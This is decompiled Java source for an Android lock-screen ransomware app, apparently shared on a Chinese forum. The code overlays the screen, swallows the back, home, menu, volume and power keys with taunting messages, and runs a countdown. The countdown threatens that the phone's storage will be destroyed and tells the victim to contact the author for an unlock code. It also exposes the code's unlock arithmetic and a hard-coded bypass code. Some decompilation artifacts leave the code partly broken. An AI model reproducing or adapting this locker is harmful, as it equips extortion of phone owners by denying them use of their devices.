[Java] 纯文本查看 复制代码
package tk.jianmo.study;
import LogCatBroadcaster;
import android.app.Activity;
import android.app.AlertDialog.Builder;
import android.app.Dialog;
import android.app.DialogFragment;
import android.content.Context;
import android.content.DialogInterface;
import android.content.DialogInterface.OnClickListener;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.Bundle;
import android.os.Handler;
import android.os.Message;
import android.os.SystemClock;
import android.text.Editable;
import android.view.KeyEvent;
import android.view.View;
import android.view.Window;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;
import java.util.Timer;
import java.util.TimerTask;
public class MainActivity
extends Activity
{
Context context;
@Override
Intent intent;
int keyTouthInt = 0;
long newTime = 0;
int pas = (int)((Math.random() + 1) * 941214);
int pasJ;
int pasM = 3 * this.pas - 586782;
int pasT = 120;
SharedPreferences sp;
int theBeginTimeToFinish = 86400;
Timer timer;
TimerTask timertask;
int timetofinish = this.theBeginTimeToFinish;
TextView tv_pasM;
TextView tv_time;
long usedTime = 0;
public void exitLock(View paramView)
{
if (((EditText)findViewById(2131034114)).getText().toString().equals(String.valueOf(this.pas)))
{
Toast.makeText(this, "解锁成功!", 0).show();
System.exit(0);
return;
}
Toast.makeText(this, "密码错误!", 0).show();
}
public void keytouch(long paramLong, int paramInt1, int paramInt2)
{
this.newTime = System.currentTimeMillis();
if ((this.newTime - paramLong <= 2000) && (paramInt1 == paramInt2))
{
this.usedTime = this.newTime;
this.keyTouthInt = (paramInt1 + 1);
return;
}
this.keyTouthInt = 0;
}
public void onAttachedToWindow()
{
getWindow().setType(2009);
super.onAttachedToWindow();
}
public void onCreate(Bundle paramBundle)
{
LogCatBroadcaster.start(this);
super.onCreate(paramBundle);
requestWindowFeature(1);
getWindow().setFlags(-2147483648, -2147483648);
setContentView(2130903040);
this.context = this;
this.tv_time = ((TextView)super.findViewById(2131034112));
this.tv_pasM = ((TextView)findViewById(2131034113));
Intent localIntent1 = new Intent();
this.intent = localIntent1;
Intent localIntent2 = this.intent;
try
{
Class localClass = Class.forName("tk.jianmo.study.killpoccessserve");
localIntent2.setClass(this, localClass);
startService(this.intent);
this.sp = getSharedPreferences("TimeSave", 0);
this.timetofinish = this.sp.getInt("saveTime", this.timetofinish);
if (this.timetofinish <= 1) {
this.timetofinish = this.theBeginTimeToFinish;
}
Timer localTimer = new Timer();
this.timer = localTimer;
TimerTask local100000001 = new TimerTask()
{
@Override
public void run()
{
MainActivity localMainActivity = MainActivity.this;
Runnable local100000000 = new Runnable()
{
@Override
public void run()
{
int i = MainActivity.this.timetofinish / 3600;
int j = MainActivity.this.timetofinish % 3600 / 60;
int k = MainActivity.this.timetofinish % 60;
TextView localTextView = MainActivity.this.tv_time;
StringBuffer localStringBuffer1 = new StringBuffer();
StringBuffer localStringBuffer2 = new StringBuffer();
StringBuffer localStringBuffer3 = new StringBuffer();
StringBuffer localStringBuffer4 = new StringBuffer();
StringBuffer localStringBuffer5 = new StringBuffer();
localTextView.setText(localStringBuffer2.append(localStringBuffer3.append(localStringBuffer4.append(localStringBuffer5.append(i).append("时").toString()).append(j).toString()).append("分").toString()).append(k).toString() + "秒后手机硬盘被破坏,手机再过一天无解。解锁就加我吧!");
MainActivity.this.sp.edit().putInt("saveTime", MainActivity.this.timetofinish).commit();
if (MainActivity.this.timetofinish == -1)
{
MainActivity.this.stopService(MainActivity.this.intent);
System.exit(0);
}
MainActivity localMainActivity = MainActivity.this;
localMainActivity.timetofinish = (-1 + localMainActivity.timetofinish);
}
};
localMainActivity.runOnUiThread(local100000000);
}
};
this.timertask = local100000001;
this.timer.schedule(this.timertask, 0, 1000);
Handler local100000002 = new Handler()
{
public void handleMessage(Message paramAnonymousMessage)
{
String str = String.valueOf(MainActivity.this.pasM);
TextView localTextView = MainActivity.this.tv_pasM;
StringBuffer localStringBuffer1 = new StringBuffer();
StringBuffer localStringBuffer2 = new StringBuffer();
StringBuffer localStringBuffer3 = new StringBuffer();
StringBuffer localStringBuffer4 = new StringBuffer();
localTextView.setText(localStringBuffer2.append(localStringBuffer3.append(localStringBuffer4.append("序列号每120秒一更新,凭序列找作者要解锁密码,你的序列号是:").append(str).toString()).append(",序列号更新剩余时间还有:").toString()).append(MainActivity.this.pasT).toString() + "秒!");
super.handleMessage(paramAnonymousMessage);
}
};
Runnable local100000003 = new Runnable()
{
private final Handler val$pasHandler;
@Override
public void run()
{
for (;;)
{
if (MainActivity.this.pasT <= 0)
{
MainActivity.this.pas = ((int)((Math.random() + 1) * 941214));
MainActivity.this.pasM = (3 * MainActivity.this.pas - 586482);
MainActivity.this.pasT = 120;
}
MainActivity localMainActivity = MainActivity.this;
localMainActivity.pasT = (-1 + localMainActivity.pasT);
Handler localHandler1 = this.val$pasHandler;
Handler localHandler2 = this.val$pasHandler;
int i = MainActivity.this.pasT;
Integer localInteger = new Integer(i);
localHandler1.sendMessage(localHandler2.obtainMessage(22, localInteger));
long l = 1000;
try
{
Thread.sleep(l);
}
catch (InterruptedException localInterruptedException)
{
localInterruptedException.printStackTrace();
Toast.makeText(MainActivity.this, localInterruptedException.getMessage(), 0).show();
}
}
}
};
Thread localThread = new Thread(local100000003);
localThread.start();
return;
}
catch (ClassNotFoundException localClassNotFoundException)
{
NoClassDefFoundError localNoClassDefFoundError = new NoClassDefFoundError(localClassNotFoundException.getMessage());
throw localNoClassDefFoundError;
}
}
@Override
public boolean onKeyDown(int paramInt, KeyEvent paramKeyEvent)
{
if (paramInt == 4)
{
Toast.makeText(this, "不要返回哦,再玩一会!", 0).show();
if (this.keyTouthInt != 0) {
break label208;
}
this.usedTime = SystemClock.currentThreadTimeMillis();
this.keyTouthInt = 1;
this.usedTime = System.currentTimeMillis();
}
for (;;)
{
if (paramInt == 3)
{
Toast.makeText(this, "HOME不管用了,手机正在休息!", 0).show();
keytouch(this.usedTime, this.keyTouthInt, 5);
if (this.keyTouthInt == 6)
{
MyDialogFragment localMyDialogFragment = new MyDialogFragment();
localMyDialogFragment.show(getFragmentManager(), "mydialog");
}
}
if (paramInt == 82)
{
Toast.makeText(this, "这儿没有菜单哦!", 0).show();
keytouch(this.usedTime, this.keyTouthInt, 100);
}
if (paramInt == 25)
{
Toast.makeText(this, "不用调节音量了,我会帮你静音!", 0).show();
keytouch(this.usedTime, this.keyTouthInt, 2);
}
if (paramInt == 24)
{
Toast.makeText(this, "音量太大会吵着别人哦!", 0).show();
keytouch(this.usedTime, this.keyTouthInt, 3);
}
if (paramInt == 26) {
Toast.makeText(this, "关机太慢了,直接扣电池吧!", 0).show();
}
return true;
label208:
if (this.keyTouthInt == 1) {
keytouch(this.usedTime, this.keyTouthInt, 1);
} else {
keytouch(this.usedTime, this.keyTouthInt, 4);
}
}
}
class MyDialogFragment
extends DialogFragment
{
public MyDialogFragment() {}
@Override
public Dialog onCreateDialog(Bundle paramBundle)
{
AlertDialog.Builder localBuilder = new AlertDialog.Builder(getActivity());
EditText localEditText = new EditText(MainActivity.this.context);
localEditText.setHint("please input the cipher!");
localBuilder.setView(localEditText);
localBuilder.setTitle("Choose");
localBuilder.setMessage("I will clear all of your data!");
DialogInterface.OnClickListener local100000004 = new DialogInterface.OnClickListener()
{
private final EditText val$edit;
@Override
public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt)
{
if (this.val$edit.getText().toString().equals("586482"))
{
MainActivity.this.stopService(MainActivity.this.intent);
System.exit(0);
}
}
};
localBuilder.setPositiveButton("Yes", local100000004);
DialogInterface.OnClickListener local100000005 = new DialogInterface.OnClickListener()
{
@Override
public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt) {}
};
localBuilder.setNegativeButton("No", local100000005);
return localBuilder.create();
}
}
}